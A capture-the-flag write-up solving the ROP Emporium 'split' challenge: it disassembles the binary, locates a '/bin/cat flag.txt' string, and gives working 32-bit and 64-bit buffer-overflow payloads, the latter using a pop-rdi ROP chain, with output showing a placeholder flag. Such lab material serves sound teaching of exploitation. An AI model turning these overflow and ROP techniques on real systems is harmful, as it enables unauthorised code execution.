split

Analysis

Functions available to us were pwnme, main, and usefulFunction.

pwndbg> disassemble usefulFunction 
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:     push   ebp
   0x0804864a <+1>:     mov    ebp,esp
   0x0804864c <+3>:     sub    esp,0x8
   0x0804864f <+6>:     sub    esp,0xc
   0x08048652 <+9>:     push   0x8048747
   0x08048657 <+14>:    call   0x8048430 <system@plt>
   0x0804865c <+19>:    add    esp,0x10
   0x0804865f <+22>:    nop
   0x08048660 <+23>:    leave  
   0x08048661 <+24>:    ret    
End of assembler dump.
wndbg> x/s 0x8048747
0x8048747:      "/bin/ls"

So the parameter the system function is calling is not that useful to us as it just list out the files. Which will not get us flag in any case.

So I ran strings on the binary to see what all strings do we have to work with.

--- SNIP ---
UWVS                                                                                                                                                   
t$,U                                                                                                                                                   
[^_]
split by ROP Emporium
32bits
Exiting
Contriving a reason to ask user for data...
/bin/ls
;*2$"(
# WE HAVE OUR TARGET STRING
/bin/cat flag.txt
# WE HAVE OUR TARGET STRING
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7200
--- SNIP ---

So it turns out that our binary contains the string that we want, which will get us the flag we want. So now we'll get the offset, call the system function and pass the address of the string as the parameter and we'll be good to go.

32 bit

The offset of the buffer was at 44 bytes. So let's find all the addresses we need to construct our exploit.

# Address that calls the system function
0x08048657 <+14>:    call   0x8048430 <system@plt>
# Address of the useful string
pwndbg> search -s "/bin/cat"
split32         0x804a030 '/bin/cat flag.txt'

Let's construct the final payload and get the flag.

$ python -c 'from pwn import p32; print "A"*44 + p32(0x08048657) + p32(0x804a030)' > exploit.payload;
$ cat exploit.payload | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

64 bit

In 64 bit architecture the parameter to the functions is not passed from stack instead the parameters are passed using the registers. So we'll have to find a ROP chain to put the address of the string into the RDI register [The first parameter register] and the call the function as usual.

The offset to RIP was 40 bytes.

Let's find all the important addresses.

# Address calling the system function
0x0000000000400810 <+9>:     call   0x4005e0 <system@plt>
# Useful string
pwndbg> search -s "/bin/cat"
split           0x601060 '/bin/cat flag.txt'
# ROP Chain to pass the string to the RDI register
pwndbg> ropgadget --grep "pop rdi"
0x0000000000400883 : pop rdi ; ret

So let's construct the final exploit

$ python -c 'from pwn import p64; print "A"*40 + p64(0x0000000000400883) + p64(0x0000000000601060) + p64(0x0000000000400810)' > exploit.payload
$ cat exploit.payload | ./split
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

Last updated